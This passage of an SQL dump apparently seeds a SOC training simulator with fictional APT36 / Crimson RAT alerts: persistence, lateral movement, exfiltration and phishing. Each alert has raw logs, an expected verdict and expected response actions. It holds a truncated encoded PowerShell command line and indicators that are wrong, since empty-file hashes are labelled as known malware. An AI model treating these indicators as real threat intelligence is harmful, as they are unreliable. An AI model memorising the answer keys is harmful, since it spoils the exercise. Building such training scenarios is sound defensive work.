address\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"CrimsonRAT.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable name associated with Crimson RAT\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1151, 'Backdoor Persistence Established', 'high', 'System Registry Logs', 'APT36 has established a persistent backdoor using Crimson RAT by modifying the Windows Registry to ensure continued access to the compromised system. This allows the attacker to maintain a foothold within the network even after system reboots.', 'Persistence Mechanism', 'T1547.001', 1, 'resolved', NULL, '{\"time\":\"2023-10-15T14:32:17Z\",\"registry_key_path\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"registry_key_value\":\"CrimsonRAT\",\"registry_key_data\":\"C:\\\\Windows\\\\System32\\\\CrimsonRAT.exe\",\"user\":\"admin_user\",\"source_ip\":\"192.168.1.25\",\"attacker_ip\":\"203.0.113.45\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"admin_user\"}', '2026-02-07 21:13:34', '2026-02-23 20:07:35', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known hash of Crimson RAT binary.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Service\",\"verdict\":\"malicious\",\"details\":\"IP address associated with APT36 command and control servers.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit Logs\",\"verdict\":\"internal\",\"details\":\"User account compromised for registry modification.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:00.285Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"time\\\":\\\"2023-10-15T14:32:17Z\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_key_value\\\":\\\"CrimsonRAT\\\",\\\"registry_key_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\CrimsonRAT.exe\\\",\\\"user\\\":\\\"admin_user\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-02-08T18:59:00.285Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"time\\\":\\\"2023-10-15T14:32:17Z\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_key_value\\\":\\\"CrimsonRAT\\\",\\\"registry_key_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\CrimsonRAT.exe\\\",\\\"user\\\":\\\"admin_user\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-02-08T18:58:00.285Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"time\\\":\\\"2023-10-15T14:32:17Z\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_key_value\\\":\\\"CrimsonRAT\\\",\\\"registry_key_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\CrimsonRAT.exe\\\",\\\"user\\\":\\\"admin_user\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-02-08T18:57:00.285Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"time\\\":\\\"2023-10-15T14:32:17Z\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_key_value\\\":\\\"CrimsonRAT\\\",\\\"registry_key_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\CrimsonRAT.exe\\\",\\\"user\\\":\\\"admin_user\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-02-08T18:56:00.285Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"time\\\":\\\"2023-10-15T14:32:17Z\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_key_value\\\":\\\"CrimsonRAT\\\",\\\"registry_key_data\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\CrimsonRAT.exe\\\",\\\"user\\\":\\\"admin_user\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"admin_user\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1152, 'Lateral Movement Detected', 'high', 'Network Traffic Analysis', 'Suspicious lateral movement activity detected within the military network. A Remote Access Trojan (RAT) was used to perform internal reconnaissance and gather information on other connected systems.', 'Internal Reconnaissance', 'T1078 - Valid Accounts', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:25:43Z\",\"source_ip\":\"192.168.10.15\",\"destination_ip\":\"10.0.0.5\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user\":\"john.doe\",\"action\":\"lateral_movement\",\"filename\":\"svchost.exe\",\"external_attacker_ip\":\"203.0.113.55\",\"event_description\":\"Detected lateral movement with the use of RAT targeting internal systems.\"}', '2026-02-07 21:13:34', '2026-02-23 19:59:52', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network_monitoring\",\"verdict\":\"internal\",\"details\":\"Internal source IP involved in lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network_monitoring\",\"verdict\":\"internal\",\"details\":\"Internal destination IP targeted by RAT.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known RAT used for lateral movement.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_user_database\",\"verdict\":\"internal\",\"details\":\"Username found associated with lateral movement activity.\"}},{\"id\":\"artifact_5\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"external_threat_intel\",\"verdict\":\"malicious\",\"details\":\"External attacker IP involved in lateral movement operation.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1153, 'Data Exfiltration Alert', 'critical', 'Data Loss Prevention (DLP) System', 'Sensitive data has been detected being exfiltrated to an external server associated with APT36. The exfiltration involves critical national security data, posing a severe threat.', 'Data Theft', 'T1020 - Automated Exfiltration', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"exfil_event_5678\",\"source_ip\":\"192.168.10.45\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":\"443\",\"protocol\":\"HTTPS\",\"username\":\"jdoe\",\"filename\":\"national_secrets.docx\",\"file_hash\":\"d4c74594d841139328695756648b6bd6\",\"action\":\"exfiltrated\",\"detection_method\":\"signature_match\",\"signature_id\":\"apt36_exfil_signature_v1\",\"severity\":\"high\"}', '2026-02-07 21:13:34', '2026-02-16 12:23:43', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal network IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Associated with APT36 activity.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"national_secrets.docx\",\"is_critical\":true,\"osint_result\":{\"source\":\"detection_system\",\"verdict\":\"sensitive\",\"details\":\"Contains classified information.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d4c74594d841139328695756648b6bd6\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_reputation\",\"verdict\":\"suspicious\",\"details\":\"File hash linked to suspicious activity.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"user_directory\",\"verdict\":\"clean\",\"details\":\"Valid internal user.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:00.288Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"exfil_event_5678\\\",\\\"source_ip\\\":\\\"192.168.10.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":\\\"443\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"national_secrets.docx\\\",\\\"file_hash\\\":\\\"d4c74594d841139328695756648b6bd6\\\",\\\"action\\\":\\\"exfiltrated\\\",\\\"detection_method\\\":\\\"signature_match\\\",\\\"signature_id\\\":\\\"apt36_exfil_signature_v1\\\",\\\"severity\\\":\\\"high\\\"}\"},{\"timestamp\":\"2026-02-08T18:59:00.288Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"exfil_event_5678\\\",\\\"source_ip\\\":\\\"192.168.10.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":\\\"443\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"national_secrets.docx\\\",\\\"file_hash\\\":\\\"d4c74594d841139328695756648b6bd6\\\",\\\"action\\\":\\\"exfiltrated\\\",\\\"detection_method\\\":\\\"signature_match\\\",\\\"signature_id\\\":\\\"apt36_exfil_signature_v1\\\",\\\"severity\\\":\\\"high\\\"}\"},{\"timestamp\":\"2026-02-08T18:58:00.288Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"exfil_event_5678\\\",\\\"source_ip\\\":\\\"192.168.10.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":\\\"443\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"national_secrets.docx\\\",\\\"file_hash\\\":\\\"d4c74594d841139328695756648b6bd6\\\",\\\"action\\\":\\\"exfiltrated\\\",\\\"detection_method\\\":\\\"signature_match\\\",\\\"signature_id\\\":\\\"apt36_exfil_signature_v1\\\",\\\"severity\\\":\\\"high\\\"}\"},{\"timestamp\":\"2026-02-08T18:57:00.288Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"exfil_event_5678\\\",\\\"source_ip\\\":\\\"192.168.10.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":\\\"443\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"national_secrets.docx\\\",\\\"file_hash\\\":\\\"d4c74594d841139328695756648b6bd6\\\",\\\"action\\\":\\\"exfiltrated\\\",\\\"detection_method\\\":\\\"signature_match\\\",\\\"signature_id\\\":\\\"apt36_exfil_signature_v1\\\",\\\"severity\\\":\\\"high\\\"}\"},{\"timestamp\":\"2026-02-08T18:56:00.288Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"exfil_event_5678\\\",\\\"source_ip\\\":\\\"192.168.10.45\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":\\\"443\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"national_secrets.docx\\\",\\\"file_hash\\\":\\\"d4c74594d841139328695756648b6bd6\\\",\\\"action\\\":\\\"exfiltrated\\\",\\\"detection_method\\\":\\\"signature_match\\\",\\\"signature_id\\\":\\\"apt36_exfil_signature_v1\\\",\\\"severity\\\":\\\"high\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1154, 'Spear Phishing Campaign Detected', 'high', 'Email Gateway Logs', 'A spear-phishing campaign aimed at key government officials has been detected. The campaign involves emails containing malicious attachments designed to compromise Android devices.', 'Initial Access', 'T1566.001', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:23:34Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.15\",\"email_subject\":\"Urgent: Review the Attached Document\",\"sender_email\":\"malicious.actor@threatmail.com\",\"recipient_email\":\"official@government.org\",\"attachment_name\":\"Document.apk\",\"attachment_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"malicious_domain\":\"www.malicious-download.com\",\"user_agent\":\"Mozilla/5.0 (Linux; Android 10; Mobile)\"}', '2026-02-07 21:13:37', '2026-02-23 19:24:17', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT spear-phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of targeted government official\'s device\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"malicious.actor@threatmail.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Email address used in previous phishing campaigns\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Document.apk\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"APK file containing malicious payload targeting Android devices\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with known Android malware\"}},{\"id\":\"artifact_6\",\"type\":\"domain\",\"value\":\"www.malicious-download.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Domain Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Domain used for hosting malicious APKs\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"escalate\"]}', 'advanced', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear Phishing Campaign Detected\",\"date\":\"2026-02-08T19:00:00.290Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1155, 'Malicious Application Execution', 'high', 'Mobile Device Management (MDM) Logs', 'Upon opening the malicious attachment, the malware is executed, establishing a foothold on the target\'s Android device, signaling the start of the espionage operation.', 'Execution', 'T1059.003', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-25T14:22:34Z\",\"device_id\":\"android-1234567890\",\"user\":\"jdoe@example.com\",\"event\":\"malware_execution\",\"filename\":\"malicious_app.apk\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"source_ip\":\"203.0.113.45\",\"device_ip\":\"192.168.1.10\",\"action\":\"app_installation\",\"status\":\"success\"}', '2026-02-07 21:13:37', '2026-02-23 19:31:45', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"filename\",\"value\":\"malicious_app.apk\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by 50/60 engines\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malware hash\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"IPVoid\",\"verdict\":\"suspicious\",\"details\":\"Known command and control server\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:00.291Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:22:34Z\\\",\\\"device_id\\\":\\\"android-1234567890\\\",\\\"user\\\":\\\"jdoe@example.com\\\",\\\"event\\\":\\\"malware_execution\\\",\\\"filename\\\":\\\"malicious_app.apk\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"device_ip\\\":\\\"192.168.1.10\\\",\\\"action\\\":\\\"app_installation\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-08T18:59:00.291Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:22:34Z\\\",\\\"device_id\\\":\\\"android-1234567890\\\",\\\"user\\\":\\\"jdoe@example.com\\\",\\\"event\\\":\\\"malware_execution\\\",\\\"filename\\\":\\\"malicious_app.apk\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"device_ip\\\":\\\"192.168.1.10\\\",\\\"action\\\":\\\"app_installation\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-08T18:58:00.291Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:22:34Z\\\",\\\"device_id\\\":\\\"android-1234567890\\\",\\\"user\\\":\\\"jdoe@example.com\\\",\\\"event\\\":\\\"malware_execution\\\",\\\"filename\\\":\\\"malicious_app.apk\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"device_ip\\\":\\\"192.168.1.10\\\",\\\"action\\\":\\\"app_installation\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-08T18:57:00.291Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:22:34Z\\\",\\\"device_id\\\":\\\"android-1234567890\\\",\\\"user\\\":\\\"jdoe@example.com\\\",\\\"event\\\":\\\"malware_execution\\\",\\\"filename\\\":\\\"malicious_app.apk\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"device_ip\\\":\\\"192.168.1.10\\\",\\\"action\\\":\\\"app_installation\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-08T18:56:00.291Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:22:34Z\\\",\\\"device_id\\\":\\\"android-1234567890\\\",\\\"user\\\":\\\"jdoe@example.com\\\",\\\"event\\\":\\\"malware_execution\\\",\\\"filename\\\":\\\"malicious_app.apk\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"device_ip\\\":\\\"192.168.1.10\\\",\\\"action\\\":\\\"app_installation\\\",\\\"status\\\":\\\"success\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1156, 'Backdoor Installation Detected', 'high', 'Endpoint Detection and Response (EDR) Systems', 'The EDR system detected an advanced backdoor installation attempt, indicating an attempt by attackers to maintain persistent access to the device. The backdoor is capable of surviving system reboots and updates.', 'Persistence', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:32:10Z\",\"event_id\":\"EDR-2354\",\"hostname\":\"compromised-host.local\",\"internal_ip\":\"192.168.1.45\",\"external_ip\":\"185.23.198.45\",\"detected_file\":\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"username\":\"jdoe\",\"process_name\":\"svchost.exe\",\"process_id\":4820,\"command_line\":\"svchost.exe -k netsvcs\",\"associated_hash\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"detected_by\":\"Advanced Threat Protection Module\"}', '2026-02-07 21:13:37', '2026-02-23 19:51:42', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal network IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.23.198.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with a known backdoor variant.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"svchost.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File analysis\",\"verdict\":\"suspicious\",\"details\":\"Executable located in a critical system directory.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"clean\",\"details\":\"Valid user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, 